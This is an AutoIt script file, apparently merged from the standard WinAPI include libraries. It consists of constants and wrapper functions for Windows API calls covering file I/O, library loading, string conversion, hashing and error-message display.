- Global Const $fv_productname = "ProductName"
- Global Const $fv_productversion = "ProductVersion"
- Global Const $fv_privatebuild = "PrivateBuild"
- Global Const $fv_specialbuild = "SpecialBuild"
- Global Const $frta_nocount = 0
- Global Const $frta_count = 1
- Global Const $frta_intarrays = 2
- Global Const $frta_entiresplit = 4
- Global Const $flta_filesfolders = 0
- Global Const $flta_files = 1
- Global Const $flta_folders = 2
- Global Const $fltar_filesfolders = 0
- Global Const $fltar_files = 1
- Global Const $fltar_folders = 2
- Global Const $fltar_nohidden = 4
- Global Const $fltar_nosystem = 8
- Global Const $fltar_nolink = 16
- Global Const $fltar_norecur = 0
- Global Const $fltar_recur = 1
- Global Const $fltar_nosort = 0
- Global Const $fltar_sort = 1
- Global Const $fltar_fastsort = 2
- Global Const $fltar_nopath = 0
- Global Const $fltar_relpath = 1
- Global Const $fltar_fullpath = 2
- Global Const $path_original = 0
- Global Const $path_drive = 1
- Global Const $path_directory = 2
- Global Const $path_filename = 3
- Global Const $path_extension = 4
- Global Const $mb_ok = 0
- Global Const $mb_okcancel = 1
- Global Const $mb_abortretryignore = 2
- Global Const $mb_yesnocancel = 3
- Global Const $mb_yesno = 4
- Global Const $mb_retrycancel = 5
- Global Const $mb_canceltrycontinue = 6
- Global Const $mb_help = 16384
- Global Const $mb_iconstop = 16
- Global Const $mb_iconerror = 16
- Global Const $mb_iconhand = 16
- Global Const $mb_iconquestion = 32
- Global Const $mb_iconexclamation = 48
- Global Const $mb_iconwarning = 48
- Global Const $mb_iconinformation = 64
- Global Const $mb_iconasterisk = 64
- Global Const $mb_usericon = 128
- Global Const $mb_defbutton1 = 0
- Global Const $mb_defbutton2 = 256
- Global Const $mb_defbutton3 = 512
- Global Const $mb_defbutton4 = 768
- Global Const $mb_applmodal = 0
- Global Const $mb_systemmodal = 4096
- Global Const $mb_taskmodal = 8192
- Global Const $mb_default_desktop_only = 131072
- Global Const $mb_right = 524288
- Global Const $mb_rtlreading = 1048576
- Global Const $mb_setforeground = 65536
- Global Const $mb_topmost = 262144
- Global Const $mb_service_notification = 2097152
- Global Const $mb_rightjustified = $mb_right
- Global Const $idtimeout = -1
- Global Const $idok = 1
- Global Const $idcancel = 2
- Global Const $idabort = 3
- Global Const $idretry = 4
- Global Const $idignore = 5
- Global Const $idyes = 6
- Global Const $idno = 7
- Global Const $idclose = 8
- Global Const $idhelp = 9
- Global Const $idtryagain = 10
- Global Const $idcontinue = 11
- #Region Global Variables and Constants
- Global $__g_venum, $__g_vext = 0
- Global $__g_irgbmode = 1
- Global Const $tagosversioninfo = "struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct"
- Global Const $image_bitmap = 0
- Global Const $image_icon = 1
- Global Const $image_cursor = 2
- Global Const $image_enhmetafile = 3
- Global Const $lr_defaultcolor = 0
- Global Const $lr_monochrome = 1
- Global Const $lr_color = 2
- Global Const $lr_copyreturnorg = 4
- Global Const $lr_copydeleteorg = 8
- Global Const $lr_loadfromfile = 16
- Global Const $lr_loadtransparent = 32
- Global Const $lr_defaultsize = 64
- Global Const $lr_vgacolor = 128
- Global Const $lr_loadmap3dcolors = 4096
- Global Const $lr_createdibsection = 8192
- Global Const $lr_copyfromresource = 16384
- Global Const $lr_shared = 32768
- Global Const $__tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & "struct;long X;long Y;endstruct"
- Global Const $__winver = __winver()
- #EndRegion Global Variables and Constants
- #Region Functions list
- #EndRegion Functions list
- #Region Public Functions
- Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $tsecurity = 0)
- Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
- If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
- If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
- If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
- If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
- If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
- If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
- Switch $icreation
- Case 0
- $icd = $create_new
- Case 1
- $icd = $create_always
- Case 2
- $icd = $open_existing
- Case 3
- $icd = $open_always
- Case 4
- $icd = $truncate_existing
- EndSwitch
- If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
- If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
- If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
- If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
- Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "struct*", $tsecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
- If @error OR ($aresult[0] = Ptr(-1)) Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_freelibrary($hmodule)
- Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_getcursorinfo()
- Local $tcursor = DllStructCreate($__tagcursorinfo)
- Local $icursor = DllStructGetSize($tcursor)
- DllStructSetData($tcursor, "Size", $icursor)
- Local $aret = DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Local $acursor[5]
- $acursor[0] = True
- $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
- $acursor[2] = DllStructGetData($tcursor, "hCursor")
- $acursor[3] = DllStructGetData($tcursor, "X")
- $acursor[4] = DllStructGetData($tcursor, "Y")
- Return $acursor
- EndFunc
- Func _winapi_getdlgctrlid($hwnd)
- Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getmodulehandle($smodulename)
- Local $smodulenametype = "wstr"
- If $smodulename = "" Then
- $smodulename = 0
- $smodulenametype = "ptr"
- EndIf
- Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getstring($pstring, $bunicode = True)
- Local $ilength = _winapi_strlen($pstring, $bunicode)
- If @error OR NOT $ilength Then Return SetError(@error + 10, @extended, "")
- Local $tstring = DllStructCreate(($bunicode ? "wchar" : "char") & "[" & ($ilength + 1) & "]", $pstring)
- If @error Then Return SetError(@error, @extended, "")
- Return SetExtended($ilength, DllStructGetData($tstring, 1))
- EndFunc
- Func _winapi_iswow64process($ipid = 0)
- If NOT $ipid Then $ipid = @AutoItPID
- Local $hprocess = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", ($__winver < 1536 ? 1024 : 4096), "bool", 0, "dword", $ipid)
- If @error OR NOT $hprocess[0] Then Return SetError(@error + 20, @extended, False)
- Local $aret = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $hprocess[0], "bool*", 0)
- If __checkerrorclosehandle($aret, $hprocess[0]) Then Return SetError(@error, @extended, False)
- Return $aret[2]
- EndFunc
- Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
- Local $aresult, $simagetype = "int"
- If IsString($simage) Then $simagetype = "wstr"
- $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_loadlibrary($sfilename)
- Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_pathisdirectory($sfilepath)
- Local $aret = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", $sfilepath)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $toverlapped = 0)
- Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "struct*", $pbuffer, "dword", $itoread, "dword*", 0, "struct*", $toverlapped)
- If @error Then Return SetError(@error, @extended, False)
- $iread = $aresult[4]
- Return $aresult[0]
- EndFunc
- Func _winapi_strlen($pstring, $bunicode = True)
- Local $w = ""
- If $bunicode Then $w = "W"
- Local $aret = DllCall("kernel32.dll", "int", "lstrlen" & $w, "struct*", $pstring)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_switchcolor($icolor)
- If $icolor = -1 Then Return $icolor
- Return BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
- EndFunc
- Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $toverlapped = 0)
- Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "struct*", $pbuffer, "dword", $itowrite, "dword*", 0, "struct*", $toverlapped)
- If @error Then Return SetError(@error, @extended, False)
- $iwritten = $aresult[4]
- Return $aresult[0]
- EndFunc
- #EndRegion Public Functions
- #Region Internal Functions
- Func __checkerrorarraybounds(Const ByRef $adata, ByRef $istart, ByRef $iend, $ndim = 1, $idim = $ubound_dimensions)
- If NOT IsArray($adata) Then Return SetError(1, 0, 1)
- If UBound($adata, $idim) <> $ndim Then Return SetError(2, 0, 1)
- If $istart < 0 Then $istart = 0
- Local $iubound = UBound($adata) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart > $iend Then Return SetError(4, 0, 1)
- Return 0
- EndFunc
- Func __checkerrorclosehandle($aret, $hfile, $blasterror = False, $icurerr = @error, $icurext = @extended)
- If NOT $icurerr AND NOT $aret[0] Then $icurerr = 10
- Local $alasterror = DllCall("kernel32.dll", "dword", "GetLastError")
- DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hfile)
- If $icurerr Then DllCall("kernel32.dll", "none", "SetLastError", "dword", $alasterror[0])
- If $blasterror Then $icurext = $alasterror[0]
- Return SetError($icurerr, $icurext, $icurerr)
- EndFunc
- Func __dll($spath, $bpin = False)
- Local $aret = DllCall("kernel32.dll", "bool", "GetModuleHandleExW", "dword", ($bpin ? 1 : 2), "wstr", $spath, "ptr*", 0)
- If NOT $aret[3] Then
- Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $spath)
- If NOT $aresult[0] Then Return 0
- EndIf
- Return 1
- EndFunc
- Func __enumwindowsproc($hwnd, $bvisible)
- Local $aresult
- If $bvisible Then
- $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
- If NOT $aresult[0] Then
- Return 1
- EndIf
- EndIf
- __inc($__g_venum)
- $__g_venum[$__g_venum[0][0]][0] = $hwnd
- $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
- $__g_venum[$__g_venum[0][0]][1] = $aresult[2]
- Return 1
- EndFunc
- Func __fatalexit($icode, $stext = "")
- If $stext Then MsgBox($mb_systemmodal, "AutoIt", $stext)
- DllCall("kernel32.dll", "none", "FatalExit", "int", $icode)
- EndFunc
- Func __inc(ByRef $adata, $iincrement = 100)
- Select
- Case UBound($adata, $ubound_columns)
- If $iincrement < 0 Then
- ReDim $adata[$adata[0][0] + 1][UBound($adata, $ubound_columns)]
- Else
- $adata[0][0] += 1
- If $adata[0][0] > UBound($adata) - 1 Then
- ReDim $adata[$adata[0][0] + $iincrement][UBound($adata, $ubound_columns)]
- EndIf
- EndIf
- Case UBound($adata, $ubound_rows)
- If $iincrement < 0 Then
- ReDim $adata[$adata[0] + 1]
- Else
- $adata[0] += 1
- If $adata[0] > UBound($adata) - 1 Then
- ReDim $adata[$adata[0] + $iincrement]
- EndIf
- EndIf
- Case Else
- Return 0
- EndSelect
- Return 1
- EndFunc
- Func __rgb($icolor)
- If $__g_irgbmode Then
- $icolor = _winapi_switchcolor($icolor)
- EndIf
- Return $icolor
- EndFunc
- Func __winver()
- Local $tosvi = DllStructCreate($tagosversioninfo)
- DllStructSetData($tosvi, 1, DllStructGetSize($tosvi))
- Local $aret = DllCall("kernel32.dll", "bool", "GetVersionExW", "struct*", $tosvi)
- If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
- Return BitOR(BitShift(DllStructGetData($tosvi, 2), -8), DllStructGetData($tosvi, 3))
- EndFunc
- #EndRegion Internal Functions
- #Region Global Variables and Constants
- #EndRegion Global Variables and Constants
- #Region Functions list
- #EndRegion Functions list
- #Region Public Functions
- Func _winapi_chartooem($sstr)
- Local $aret = DllCall("user32.dll", "bool", "CharToOemW", "wstr", $sstr, "wstr", "")
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
- Return $aret[2]
- EndFunc
- Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
- Local $aret = DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Return $tpoint
- EndFunc
- Func _winapi_dwordtofloat($ivalue)
- Local $tdword = DllStructCreate("dword")
- Local $tfloat = DllStructCreate("float", DllStructGetPtr($tdword))
- DllStructSetData($tdword, 1, $ivalue)
- Return DllStructGetData($tfloat, 1)
- EndFunc
- Func _winapi_dwordtoint($ivalue)
- Local $tdata = DllStructCreate("int")
- DllStructSetData($tdata, 1, $ivalue)
- Return DllStructGetData($tdata, 1)
- EndFunc
- Func _winapi_floattodword($ivalue)
- Local $tfloat = DllStructCreate("float")
- Local $tdword = DllStructCreate("dword", DllStructGetPtr($tfloat))
- DllStructSetData($tfloat, 1, $ivalue)
- Return DllStructGetData($tdword, 1)
- EndFunc
- Func _winapi_floattoint($nfloat)
- Local $tfloat = DllStructCreate("float")
- Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
- DllStructSetData($tfloat, 1, $nfloat)
- Return DllStructGetData($tint, 1)
- EndFunc
- Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
- $ix = DllStructGetData($tpoint, "X")
- $iy = DllStructGetData($tpoint, "Y")
- EndFunc
- Func _winapi_guidfromstring($sguid)
- Local $tguid = DllStructCreate($tagguid)
- _winapi_guidfromstringex($sguid, $tguid)
- If @error Then Return SetError(@error + 10, @extended, 0)
- Return $tguid
- EndFunc
- Func _winapi_guidfromstringex($sguid, $tguid)
- Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $tguid)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_hashdata($pmemory, $isize, $ilength = 32)
- If ($ilength <= 0) OR ($ilength > 256) Then Return SetError(11, 0, 0)
- Local $tdata = DllStructCreate("byte[" & $ilength & "]")
- Local $aret = DllCall("shlwapi.dll", "uint", "HashData", "struct*", $pmemory, "dword", $isize, "struct*", $tdata, "dword", $ilength)
- If @error Then Return SetError(@error, @extended, 0)
- If $aret[0] Then Return SetError(10, $aret[0], 0)
- Return DllStructGetData($tdata, 1)
- EndFunc
- Func _winapi_hashstring($sstring, $bcasesensitive = True, $ilength = 32)
- Local $ilengths = StringLen($sstring)
- If NOT $ilengths OR ($ilength > 256) Then Return SetError(12, 0, 0)
- Local $tstring = DllStructCreate("wchar[" & ($ilengths + 1) & "]")
- If NOT $bcasesensitive Then
- $sstring = StringLower($sstring)
- EndIf
- DllStructSetData($tstring, 1, $sstring)
- Local $shash = _winapi_hashdata($tstring, 2 * $ilengths, $ilength)
- If @error Then Return SetError(@error, @extended, 0)
- Return $shash
- EndFunc
- Func _winapi_hibyte($ivalue)
- Return BitAND(BitShift($ivalue, 8), 255)
- EndFunc
- Func _winapi_hidword($ivalue)
- Local $tint64 = DllStructCreate("int64")
- Local $tqword = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
- DllStructSetData($tint64, 1, $ivalue)
- Return DllStructGetData($tqword, 2)
- EndFunc
- Func _winapi_hiword($ilong)
- Return BitShift($ilong, 16)
- EndFunc
- Func _winapi_inttodword($ivalue)
- Local $tdata = DllStructCreate("dword")
- DllStructSetData($tdata, 1, $ivalue)
- Return DllStructGetData($tdata, 1)
- EndFunc
- Func _winapi_inttofloat($iint)
- Local $tint = DllStructCreate("int")
- Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
- DllStructSetData($tint, 1, $iint)
- Return DllStructGetData($tfloat, 1)
- EndFunc
- Func _winapi_lobyte($ivalue)
- Return BitAND($ivalue, 255)
- EndFunc
- Func _winapi_lodword($ivalue)
- Local $tint64 = DllStructCreate("int64")
- Local $tqword = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
- DllStructSetData($tint64, 1, $ivalue)
- Return DllStructGetData($tqword, 1)
- EndFunc
- Func _winapi_loword($ilong)
- Return BitAND($ilong, 65535)
- EndFunc
- Func _winapi_longmid($ivalue, $istart, $icount)
- Return BitAND(BitShift($ivalue, $istart), BitOR(BitShift(BitShift(2147483647, 32 - ($icount + 1)), 1), BitShift(1, -($icount - 1))))
- EndFunc
- Func _winapi_makelangid($ilngidprimary, $ilngidsub)
- Return BitOR(BitShift($ilngidsub, -10), $ilngidprimary)
- EndFunc
- Func _winapi_makelcid($ilngid, $isortid)
- Return BitOR(BitShift($isortid, -16), $ilngid)
- EndFunc
- Func _winapi_makelong($ilo, $ihi)
- Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
- EndFunc
- Func _winapi_makeqword($ilodword, $ihidword)
- Local $tint64 = DllStructCreate("uint64")
- Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
- DllStructSetData($tdwords, 1, $ilodword)
- DllStructSetData($tdwords, 2, $ihidword)
- Return DllStructGetData($tint64, 1)
- EndFunc
- Func _winapi_makeword($ilo, $ihi)
- Local $tword = DllStructCreate("ushort")
- Local $tbyte = DllStructCreate("byte;byte", DllStructGetPtr($tword))
- DllStructSetData($tbyte, 1, $ihi)
- DllStructSetData($tbyte, 2, $ilo)
- Return DllStructGetData($tword, 1)
- EndFunc
- Func _winapi_multibytetowidechar($vtext, $icodepage = 0, $iflags = 0, $bretstring = False)
- Local $stexttype = "str"
- If NOT IsString($vtext) Then $stexttype = "struct*"
- Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $vtext, "int", -1, "ptr", 0, "int", 0)
- If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
- Local $iout = $aresult[0]
- Local $tout = DllStructCreate("wchar[" & $iout & "]")
- $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $vtext, "int", -1, "struct*", $tout, "int", $iout)
- If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, 0)
- If $bretstring Then Return DllStructGetData($tout, 1)
- Return $tout
- EndFunc
- Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
- Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_oemtochar($sstr)
- Local $aret = DllCall("user32.dll", "bool", "OemToChar", "str", $sstr, "str", "")
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
- Return $aret[2]
- EndFunc
- Func _winapi_pointfromrect(ByRef $trect, $bcenter = True)
- Local $ix1 = DllStructGetData($trect, "Left")
- Local $iy1 = DllStructGetData($trect, "Top")
- Local $ix2 = DllStructGetData($trect, "Right")
- Local $iy2 = DllStructGetData($trect, "Bottom")
- If $bcenter Then
- $ix1 = $ix1 + (($ix2 - $ix1) / 2)
- $iy1 = $iy1 + (($iy2 - $iy1) / 2)
- EndIf
- Local $tpoint = DllStructCreate($tagpoint)
- DllStructSetData($tpoint, "X", $ix1)
- DllStructSetData($tpoint, "Y", $iy1)
- Return $tpoint
- EndFunc
- Func _winapi_primarylangid($ilngid)
- Return BitAND($ilngid, 1023)
- EndFunc
- Func _winapi_screentoclient($hwnd, ByRef $tpoint)
- Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_shorttoword($ivalue)
- Return BitAND($ivalue, 65535)
- EndFunc
- Func _winapi_strformatbytesize($isize)
- Local $aret = DllCall("shlwapi.dll", "ptr", "StrFormatByteSizeW", "int64", $isize, "wstr", "", "uint", 1024)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
- Return $aret[2]
- EndFunc
- Func _winapi_strformatbytesizeex($isize)
- Local $asymbol = DllCall("kernel32.dll", "int", "GetLocaleInfoW", "dword", 1024, "dword", 15, "wstr", "", "int", 2048)
- If @error Then Return SetError(@error + 10, @extended, "")
- Local $ssize = _winapi_strformatbytesize(0)
- If @error Then Return SetError(@error, @extended, "")
- Return StringReplace($ssize, "0", StringRegExpReplace(Number($isize), "(?<=\d)(?=(\d{3})+\z)", $asymbol[3]))
- EndFunc
- Func _winapi_strformatkbsize($isize)
- Local $aret = DllCall("shlwapi.dll", "ptr", "StrFormatKBSizeW", "int64", $isize, "wstr", "", "uint", 1024)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
- Return $aret[2]
- EndFunc
- Func _winapi_strfromtimeinterval($itime, $idigits = 7)
- Local $aret = DllCall("shlwapi.dll", "int", "StrFromTimeIntervalW", "wstr", "", "uint", 1024, "dword", $itime, "int", $idigits)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
- Return StringStripWS($aret[1], $str_stripleading + $str_striptrailing)
- EndFunc
- Func _winapi_stringfromguid($tguid)
- Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $tguid, "wstr", "", "int", 40)
- If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "")
- Return SetExtended($aresult[0], $aresult[2])
- EndFunc
- Func _winapi_sublangid($ilngid)
- Return BitShift($ilngid, 10)
- EndFunc
- Func _winapi_swapdword($ivalue)
- Local $tstruct1 = DllStructCreate("dword;dword")
- Local $tstruct2 = DllStructCreate("byte[4];byte[4]", DllStructGetPtr($tstruct1))
- DllStructSetData($tstruct1, 1, $ivalue)
- For $i = 1 To 4
- DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 5 - $i), $i)
- Next
- Return DllStructGetData($tstruct1, 2)
- EndFunc
- Func _winapi_swapqword($ivalue)
- Local $tstruct1 = DllStructCreate("int64;int64")
- Local $tstruct2 = DllStructCreate("byte[8];byte[8]", DllStructGetPtr($tstruct1))
- DllStructSetData($tstruct1, 1, $ivalue)
- For $i = 1 To 8
- DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 9 - $i), $i)
- Next
- Return DllStructGetData($tstruct1, 2)
- EndFunc
- Func _winapi_swapword($ivalue)
- Local $tstruct1 = DllStructCreate("word;word")
- Local $tstruct2 = DllStructCreate("byte[2];byte[2]", DllStructGetPtr($tstruct1))
- DllStructSetData($tstruct1, 1, $ivalue)
- For $i = 1 To 2
- DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 3 - $i), $i)
- Next
- Return DllStructGetData($tstruct1, 2)
- EndFunc
- Func _winapi_widechartomultibyte($vunicode, $icodepage = 0, $bretnostruct = True, $bretbinary = False)
- Local $sunicodetype = "wstr"
- If NOT IsString($vunicode) Then $sunicodetype = "struct*"
- Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $vunicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
- If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, "")
- Local $tmultibyte = DllStructCreate((($bretbinary) ? ("byte") : ("char")) & "[" & $aresult[0] & "]")
- $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $vunicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
- If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
- If $bretnostruct Then Return DllStructGetData($tmultibyte, 1)
- Return $tmultibyte
- EndFunc
- Func _winapi_wordtoshort($ivalue)
- If BitAND($ivalue, 32768) Then
- Return BitOR($ivalue, -32768)
- EndIf
- Return BitAND($ivalue, 32767)
- EndFunc
- #EndRegion Public Functions
- #Region Global Variables and Constants
- Global Const $format_message_allocate_buffer = 256
- Global Const $format_message_ignore_inserts = 512
- Global Const $format_message_from_string = 1024
- Global Const $format_message_from_hmodule = 2048
- Global Const $format_message_from_system = 4096
- Global Const $format_message_argument_array = 8192
- #EndRegion Global Variables and Constants
- Func _winapi_beep($ifreq = 500, $iduration = 1000)
- Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
- Local $sbuffertype = "struct*"
- If IsString($pbuffer) Then $sbuffertype = "wstr"
- Local $aresult = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "struct*", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
- If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
- If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
- Return $aresult[0]
- EndFunc
- Func _winapi_geterrormessage($icode, $ilanguage = 0, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
- Local $aret = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", 4096, "ptr", 0, "dword", $icode, "dword", $ilanguage, "wstr", "", "dword", 4096, "ptr", 0)
- If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
- Return SetError($_icurrenterror, $_icurrentextended, StringRegExpReplace($aret[5], "[" & @LF & "," & @CR & "]*\Z", ""))
- EndFunc
- Func _winapi_getlasterror(Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
- Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
- Return SetError($_icurrenterror, $_icurrentextended, $aresult[0])
- EndFunc
- Func _winapi_getlasterrormessage(Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
- Local $ilasterror = _winapi_getlasterror()
- Local $tbufferptr = DllStructCreate("ptr")
- Local $ncount = _winapi_formatmessage(BitOR($format_message_allocate_buffer, $format_message_from_system), 0, $ilasterror, 0, $tbufferptr, 0, 0)
- If @error Then Return SetError(-@error, @extended, "")
- Local $stext = ""
- Local $pbuffer = DllStructGetData($tbufferptr, 1)
- If $pbuffer Then
- If $ncount > 0 Then
- Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
- $stext = DllStructGetData($tbuffer, 1)
- If StringRight($stext, 2) = @CRLF Then $stext = StringTrimRight($stext, 2)
- EndIf
- DllCall("kernel32.dll", "handle", "LocalFree", "handle", $pbuffer)
- EndIf
- Return SetError($_icurrenterror, $_icurrentextended, $stext)
- EndFunc
- Func _winapi_messagebeep($itype = 1)
- Local $isound
- Switch $itype
- Case 1
- $isound = 0
- Case 2
- $isound = 16
- Case 3
- $isound = 32
- Case 4
- $isound = 48
- Case 5
- $isound = 64
- Case Else
- $isound = -1
- EndSwitch
- Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_msgbox($iflags, $stitle, $stext)
- BlockInput(0)
- MsgBox($iflags, $stitle, $stext & " ")
- EndFunc
- Func _winapi_setlasterror($ierrorcode, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
- DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrorcode)
- Return SetError($_icurrenterror, $_icurrentextended, NULL )
- EndFunc
- Func _winapi_showerror($stext, $bexit = True)
- BlockInput(0)
- MsgBox($mb_systemmodal, "Error", $stext & " ")
- If $bexit Then Exit
- EndFunc
- Func _winapi_showlasterror($stext = "", $babort = False, $ilanguage = 0, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
- Local $serror
- Local $ilasterror = _winapi_getlasterror()
- While 1
- $serror = _winapi_geterrormessage($ilasterror, $ilanguage)
- If @error AND $ilanguage Then
- $ilanguage = 0
- Else
- ExitLoop
- EndIf
- WEnd
- If StringStripWS($stext, $str_stripleading + $str_striptrailing) Then
- $stext &= @CRLF & @CRLF
- Else
- $stext = ""
- EndIf
- _winapi_msgbox(BitOR(262144, BitShift(16, -2 * (NOT $ilasterror))), $ilasterror, $stext & $serror)
- If $ilasterror Then
- _winapi_setlasterror($ilasterror)
- If $babort Then
- Exit $ilasterror
- EndIf
- EndIf
- Return SetError($_icurrenterror, $_icurrentextended, 1)
- EndFunc
- Func _winapi_showmsg($stext)
- _winapi_msgbox($mb_systemmodal, "Information", $stext)
- EndFunc
